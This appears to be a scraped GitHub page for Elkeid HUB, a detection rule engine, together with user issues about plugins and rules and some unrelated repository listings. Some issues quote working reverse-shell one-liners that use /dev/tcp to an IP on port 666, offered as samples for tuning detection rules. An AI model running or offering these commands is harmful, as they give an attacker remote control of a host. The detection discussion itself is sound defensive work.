Elkeid HUB - A rule/event processing engine maintained by the Elkeid Team that supports streaming/offline data processing

Overview

English | 简体中文

Elkeid HUB

Elkeid HUB is a rule/event processing engine maintained by the Elkeid Team that supports streaming/offline (not yet supported by the community edition) data processing. The original intention is to solve complex data/event processing and external system linkage requirements through standardized rules.

Core Components

  • INPUT data input layer, community edition only supports Kafka.
  • RULEENGINE/RULESET core components for data detection/external data linkage/data processing.
  • OUTPUT data output layer, community edition only supports Kafka/ES.
  • SMITH_DSL used to describe the data flow relationship.

Application Scenarios

  • Simple HIDS

  • IDS Like Scenarios

  • Multiple input and output scenarios

Advantage

  • High Performance
  • Very Few Dependencies
  • Support Complex Data Processing
  • Custom Plugin Support
  • Support Stateful Logic Build
  • Support External System/Data Linkage

Elkeid Internal Best Practices

  • Use Elkeid HUB to process Elkeid HIDS/RASP/Sandbox/etc. raw data, TPS ninety million/s. HUB scheduling instance 4000+
  • 99% alarm produce time is less than 0.5s
  • Internal Maintenance Rules 2000+

Getting Started

Elkeid-HUB Quick Start

Elkeid-HUB Demo(Chinese version only)

Elkeid HUB Handbook (chinese only)

Handbook

Demo Config

Demo

Elkeid HIDS Rule and Project(Just Example)

Elkeid Project

(Need to use with Elkeid)

Community Version

  • Does not support cluster mode, only supports single node.
  • No front-end support, no data visualization capabilities, no front-end management capabilities.
  • Rule/RuleSet/Project Debug capabilities are not supported.
  • WorkSpace is not supported, user management is not supported.
  • No operation and maintenance management capabilities.

LICENSE (Not Business Friendly)

LICENSE

Contact us && Cooperation

Comments
  • 执行./bootstrap.sh 提示stat py/elkeid.sock: no such file or directory

    执行./bootstrap.sh 提示stat py/elkeid.sock: no such file or directory

    下载解压后,修改了config里的input,out对应的kafka地址。执行./bootstrap.sh,报了panic: [AgentSmith INIT] CUSTOM PLUGIN INIT FAILEDplugin process run timeout, List plugin error: stat /root/elkeid/elkeid_hub_community/py/elkeid.sock: no such file or directory 。按照文档说明去cat py/plugin.stdout,没有该文件 image

    opened by crazyydevil 11
  • CUSTOM_ALLDATA 类型调用插件未生效

    CUSTOM_ALLDATA 类型调用插件未生效

    规则如下,在check_node中调用【DetectTTY】插件,类型为文档中的【CUSTOM_ALLDATA】

        <rule rule_id="pipe_shell_detect" author="mg" type="Detection">
            <rule_name>pipe_shell_custom_detect</rule_name>
            <alert_data>True</alert_data>
            <harm_level>high</harm_level>
            <desc kill_chain_id="persistent" affected_target="host_process">Double Piped Reverse Shell Detection, Connection Part</desc>
            <filter part="data_type">59</filter>
            <check_list>
                <!-- <check_node type="EQU" part="exe" logic_type="or" separator="|">
                    <![CDATA[/bin/cat|/usr/bin/cat|/usr/bin/ls|/bin/ls|/usr/bin/cp|/bin/cp]]>
                </check_node> -->
                <check_node type="CUSTOM_ALLDATA">DetectTTY</check_node>
            </check_list>
            <node_designate></node_designate>
            <del />
            <modify></modify>
            <action />
            <append type="static" append_field_name="alert_type_us">persistent</append>
            <append type="static" append_field_name="rule_name">pipe_shell_custom_detect</append>
        </rule>
    

    【DetectTTY】插件代码

    from ast import Try
    import json
    
    class Plugin(object):
    
        def __init__(self):
            self.name = None
            self.type = None
            self.log = None
            self.redis = None
    
        def plugin_exec(self, arg, config):
            self.log.info(arg)
            result = dict()
            try:
                data = json.loads(arg)
                tty = data['tty']
                new_tty = tty[:3]+'/'+tty[3:]
                if data['stdin'].find(new_tty) > -1 and data['stdout'].find(new_tty) > -1:
                    result["flag"] = False
                    result["msg"] = arg
                    self.log.info('false')
                else:
                    result["flag"] = True
                    result["msg"] = arg
                    self.log.info('true')
            except Exception as e:
                result["flag"] = False
                result["msg"] = arg
                self.log.info('exce')
                return  result
    

    目录【DetectTTY/elkeid.txt】的内容

    [[email protected] DetectTTY]# cat elkeid.txt 
    [plugin]
    name = DetectTTY
    type = Custom
    description = tty
    runtime = Python
    author = mg
    

    执行相关命令后,未发现日志信息有任何关于此插件的信息打印,但是其它插件有信息打印出来

    Wa8ievVkAc

    m55BhBUzNs

    opened by 0xlwoe21k 6
  • python插件进程未知原因挂了

    python插件进程未知原因挂了

    我们做了某个规则,存在短时间内会有大量告警产生,告警后会有如下动作:

    告警 -> 邮件 告警 -> 钉钉

    个人怀疑可能是瞬时的邮件发送太多导致进程挂了。

    麻烦官方看看。

    错误如下:

    During handling of the above exception, another exception occurred:
    
    Traceback (most recent call last):
      File "/elkeid/hub/py/pypy/site-packages/gevent/monkey.py", line 883, in _shutdown
        sleep()
      File "/elkeid/hub/py/pypy/site-packages/gevent/hub.py", line 159, in sleep
        waiter.get()
      File "/elkeid/hub/py/pypy/site-packages/gevent/_waiter.py", line 154, in get
        return self.hub.switch()
      File "/elkeid/hub/py/pypy/site-packages/gevent/_greenlet_primitives.py", line 65, in switch
        return _greenlet_switch(self) # pylint:disable=undefined-variable
      File "/elkeid/hub/py/pypy3.7-v7.3.5-linux64/lib_pypy/greenlet.py", line 61, in switch
        return self.__switch('switch', (args, kwds))
      File "/elkeid/hub/py/pypy3.7-v7.3.5-linux64/lib_pypy/greenlet.py", line 115, in __switch
        args, kwds = unbound_method(current, *baseargs, to=target)
      File "/elkeid/hub/py/pypy/site-packages/gevent/greenlet.py", line 906, in run
        result = self._run(*self.args, **self.kwargs)
      File "start.py", line 232, in MAdMVLLDiXAtecYUDHboItopciRTNvvQzoOQHRuqtSVzMHWtYmMVjCziVxLIiVqdWeHmBUuMHjLNqmPMNtWyLqVbRzuPyXyOYwseiTjyPcBFtkFGKCDkYljoCNxmQQib
        zXOOpLGxKCFTqTCDVeLFTGSmwadspsqrDRujvSasYDdMYMWTlYHKUpcvgrFviMkYuyfiDukfCQRZQGLUNLIdaRTZrVBZrjbSMbywnBxjpPxfqtimxIxxULfGGyyvtAiv = JCvskfVXKjtOLPaWakNsLbZhbJcELrmjndDtrUOioYIlQylGQJKEppUkSKwKXdapDOnCebNCtUvwxAsmrlBMkXdDoqswofSUGAOavEaXJITLDfjucFQKbzuVFFmaOMGA(rijngpewjhDSqsFNjqbzuHtQaDjbrcHmrnWYACROvLNSMqOknvxoKyrlMURdLKTnSkQSiYilYihkwIBYWvXFvaUYaHPOqEKomicDNqKKzBPLnnmYqsLlUTIlgrZPVsId, MpMqkamoyCAZEAWGzRMVPyTgurkzhLeBtamvZYMzJJEVzFELqcwIuBHoNKZneCDHeuBVfizKwweZHrGwymjvyOnGnoHSDOkhWGaUNNIIpIllzqAkLrwzSGPyaCBNtBgB)
      File "/elkeid/hub/py/sthqiWDuarARPqndkeXjroRbJVUlVjFOHZBhnByxlvcQcybBMNkqXCPaHTLWrviEjnXjgGLVxFKnwbYmOfBPWrMabvEHUBVhvVibmReBRJJuOTQAigWHnstvTTAmHphI.py", line 1267, in JCvskfVXKjtOLPaWakNsLbZhbJcELrmjndDtrUOioYIlQylGQJKEppUkSKwKXdapDOnCebNCtUvwxAsmrlBMkXdDoqswofSUGAOavEaXJITLDfjucFQKbzuVFFmaOMGA
        IAWinSrpwEbhWZLtnwwpeygFGRmNhexkUISkMzrpRHWxBQUDJObqnIpdNqTBgNqBpOKJQdBujWacShKFulFkPMtZzvWJPTwMBjjzmQOBFkdICCVyRWIVnrhVoyxQmezM = MUxpTCwXyGICtMgnkyCDQPutAdqbDWUwTLljQxzYRhOCNlTaykQaqlCGtiTsDhAaLAkwHPJvZOUtegjsFnHVPbNIzUMUFtkCEObLCecvzJkgssyrkFoiuRgsrNApFrdQ[rijngpewjhDSqsFNjqbzuHtQaDjbrcHmrnWYACROvLNSMqOknvxoKyrlMURdLKTnSkQSiYilYihkwIBYWvXFvaUYaHPOqEKomicDNqKKzBPLnnmYqsLlUTIlgrZPVsId](LeOrCeoGyEHyYBDtEtCGWeWUjuxIIahbnAnZbnghRHqvibDNMarZdlpZjjJKNOBmsJUDXZvaAXpOiESZNJUBSEYoPyCURBHmMXeaLfSAfbcbAYMocWFabmAzwYoNdLeh, TwqkyTgFXKcxyAfUseFdgomZURnsIDPtkDqFdSWZuVxKODQoYBdXBhHFYJVfNOFqyAzWdLfMCdSSQXTiDZlbbICRCjgQpkNnmJzfxoHZbQeurXdTCUjHPkfYiTqmZUbA)
      File "/elkeid/hub/config/plugin/SendToEmail/plugin.py", line 49, in plugin_exec
        exit(0)
      File "/elkeid/hub/py/pypy3.7-v7.3.5-linux64/lib-python/3/_sitebuiltins.py", line 26, in __call__
        raise SystemExit(code)
    SystemExit: 0
    2022-07-11T07:54:07Z <greenlet.greenlet object at 0x0000000001571550> failed with SystemExit
    
    opened by 0xlwoe21k 2
  • cat 反弹shell规则的判断

    cat 反弹shell规则的判断

    exec 5<>/dev/tcp/10.71.5.222/666;cat <&5|while read line;do $line >&5 2>&1;done

    { "bootTime":"2022-01-19 19:11:31.000", "cmdline":"cat", "cwd":"/", "exe":"/usr/bin/cat", "fd_num":"1", "name":"cat", "pid":"12778", "ppid":"50250", "r_addr_ip":"10.71.5.222", "r_addr_port":"666", "session":"50250", "stderr":"/dev/pts/0", "stdin":"socket:[583396364]", "stdout":"pipe:[583396365]", "terminal":"/pts/0", "username":"root" },

    这种反弹shell如何判断比较好?没有进程命令行特征,直接判断cat 输入有重定向?

    opened by wcc526 1
  • 判断所有程序的stdin,stdout重定向,避免被绕过

    判断所有程序的stdin,stdout重定向,避免被绕过

    麻烦评估下这个 规则改动,

    https://github.com/bytedance/Elkeid-HUB/pull/4

    cp /bin/bash /tmp/apache;/tmp/apache -i >& /dev/tcp/10.71.5.222/666 0>&1

    { "bootTime":"2022-01-19 18:48:20.000", "cmdline":"/tmp/apache -i", "cwd":"/", "exe":"/tmp/apache", "fd_num":"3", "name":"apache", "pid":"88184", "ppid":"50250", "r_addr_ip":"10.71.5.222", "r_addr_port":"666", "session":"50250", "stderr":"socket:[583190616]", "stdin":"socket:[583190616]", "stdout":"socket:[583190616]", "terminal":"/pts/0", "username":"root" },

    opened by wcc526 1
  • 判断所有程序的stdin,stdout重定向,避免被绕过

    判断所有程序的stdin,stdout重定向,避免被绕过

    判断所有程序的stdin,stdout重定向,避免被绕过

    cp /bin/bash /tmp/apache;/tmp/apache -i >& /dev/tcp/10.71.5.222/666 0>&1

    { "bootTime":"2022-01-19 18:48:20.000", "cmdline":"/tmp/apache -i", "cwd":"/", "exe":"/tmp/apache", "fd_num":"3", "name":"apache", "pid":"88184", "ppid":"50250", "r_addr_ip":"10.71.5.222", "r_addr_port":"666", "session":"50250", "stderr":"socket:[583190616]", "stdin":"socket:[583190616]", "stdout":"socket:[583190616]", "terminal":"/pts/0", "username":"root" },

    opened by wcc526 0
  • plugin存在的问题

    plugin存在的问题

    在plugin/SendToLarkGroup/plugin.py更改了一下json输出的格式重新运行hub时出现报错[RuleCheck]Check RuleSetpush_alert error!plugin SendToLarkGroup not found 截图暂时没了 plugin.py更改内容:

    class Plugin(object):

    def __init__(self):
        self.name = None
        self.type = None
        self.log = None
        self.redis = None
    
    def plugin_exec(self, arg, config):
        self.log.info(arg)
        self.log.info(config)
        arg=json.dumps(arg,indent=2) 
        result = dict()
        headers = {
            'Content-Type': 'application/json ',
            'charset':'utf-8',
        } 
        data = {
            "app_id": app_id,
            "app_secret": app_secret,
        }
        data=json.dumps(data,indent=2)    
        response = requests.post('https://open.feishu.cn/open-apis/auth/v3/tenant_access_token/internal', headers=headers, data=data)
        self.log.info(response.json())
        token=response.json()['tenant_access_token']
        headers = {
            'Authorization': 'Bearer '+token,
            'Content-Type': 'application/json; charset=utf-8',
        }   
        data = {
            "open_chat_id":config["id"],
            "msg_type":"text",
            "content":{
                "text":arg,
            }       
        }
        data=json.dumps(data,indent=2) 
        self.log.info(data)
        response = requests.post('https://open.feishu.cn/open-apis/message/v3/send/', headers=headers, data=data)
        self.log.info(response.json())
        result["done"] = True
        return result
    

    自己创建了一个plugin,名为ChangeMod 文件内容与上面一致只是名字不同 重新运行也报错[RuleCheck]Check RuleSetpush_alert error!plugin ChangeMod not found

    然后把hub/py/.success删除重新运行./bootstrap.sh发现插件加载成功且格式已经变更。

    最后问一下,为什么后台有告警了但是飞书机器人却没有及时发送消息甚至没有消息,策略都是已经设置了的。。 image

    opened by gdianq 1
Owner
Bytedance Inc.
Bytedance Inc.
Automatically send commands to send Twitch followers to any Twitch account.

Automatically send commands to send Twitch followers to any Twitch account. You just need to be in a Twitch follow bot Discord server!

Thomas Keig 6 Nov 27, 2022
Terminal-Trade(Panel API) For Binance

Binance-Trade-Project Binance Futures Terminal-Trade(API) & Binance This Project Worth Around 500 Bucks. **I Did This Project For SomeOne And He

Cyber 9 Dec 30, 2021
Many discord bots serving different purposes

Discord_Botlari Farklı amaçlara hizmet eden bir çok discord botu En kapsamlı Bot Game Bottur. bir oyun botudur discord sunucularında kullanılır. (tüm

1 Dec 21, 2021
A simple library for interacting with Amazon SQS.

qoo is a very simple Amazon SQS client, written in Python. It aims to be much more straight-forward to use than boto3, and specializes only in Amazon

Jacobi Petrucciani 2 Oct 30, 2020
Nautobot-custom-jobs - Custom jobs for Nautobot

nautobot-custom-jobs This repo contains custom jobs for Nautobot. Installation P

Dan Peachey 9 Oct 27, 2022
A Telegram bot to download posts, videos, reels, IGTV and a user profile picture from Instagram!

Telegram Bot A telegram bot to download media from Instagram! No API Key or Login Needed! Requirements You must have python installed (of course) You

Simon Farah 2 Apr 10, 2022
The text based version of my App Blocker that I planning on converting to GUI soon.

App-Blocker The text based version of my App Blocker that I planning on converting to GUI soon. Currently I am just uploading the appblocker.py file,

Harsh Raj 0 Sep 13, 2022
Upbit(업비트) Cryptocurrency Exchange OPEN API Client for Python

Base Repository Python Upbit Client Repository Upbit OPEN API Client @Author: uJhin @GitHub: https://github.com/uJhin/upbit-client/ @Officia

Yu Jhin 37 Nov 06, 2022
A discord token nuker With loads of options that will screw an account up real bad

A discord token nuker With loads of options that will screw an account up real bad, also has inbuilt massreport, GroupChat Spammer and Token/Password/Creditcard grabber and so much more!

XPTGR 0 Aug 07, 2022
A Python wrapper around the Soundcloud API

soundcloud-python A friendly wrapper around the Soundcloud API. Installation To install soundcloud-python, simply: pip install soundcloud Or if you'r

SoundCloud 83 Dec 12, 2022
A simple API wrapper for Discord written in Python.

AIOCord This project is work in progress not for production use A simple asynchronous API wrapper around Discord API written in Python. Inspiration Th

Izhar Ahmad 3 Dec 07, 2021
Find rare users in discord servers

BadgeScraper Find rare users in discord servers How to use Replace the guild_id, server_id and token by the values you wanna use If you never used dis

20 Dec 09, 2022
A multi-purpose Discord bot with simple moderation commands, reaction roles, reminders, and much more!

Nokari This is the rewrite of Nokari. There are still a lot of things to be done. I'm still working on the internal logic, so the bot basically has no

Norizon 13 Nov 17, 2022
Easy to use API Wrapper for somerandomapi.ml.

Overview somerandomapi is an API Wrapper for some-random-api.ml Examples Asynchronous from somerandomapi import Animal

Myxi 1 Dec 31, 2021
WatonAPI is an API used to connect to spigot servers with the WatonPlugin to communicate.

WatonAPI is an API used to connect to spigot servers with the WatonPlugin to communicate. You can send messages to the server and read messages, making it useful for cross-chat programs.

Waton 1 Nov 22, 2021
Automate saving your Discover Weekly Playlist using Python.

SpotWeekly Automate saving your Discover Weekly Playlist using Python. Made with 3 and FastAPI. The saved playlist link is sent to my discord server

shourya 6 Jan 03, 2022
A simple telegram bot that resolves video urls using yt-dlp

URL to Video Telegram Bot A simple telegram bot that resolves video urls using yt-dlp Copyright (C) 2021 Vítor Vasconcellos This program is free softw

Vítor 1 Nov 18, 2021
A course on getting started with the Twitter API v2 for academic research

Getting started with the Twitter API v2 for academic research Welcome to this '101 course' on getting started with academic research using the Twitter

@TwitterDev 426 Jan 04, 2023
Wordy is a Wordle-like Discord bot but with a twist.

Wordy Discord Bot Wordy is a Wordle-like Discord bot but with a twist. It already supports 6 languages from the beginning: English, Italian, French, G

The Coding Channel 2 Sep 06, 2022
Simple web browser to visualize HiC tracks

HiCBrowser : A simple web browser to visualize Hi-C and other genomic tracks Fidel Ramirez, José Villaveces, Vivek Bhardwaj Installation You can insta

The deepTools ecosystem 14 Jun 21, 2022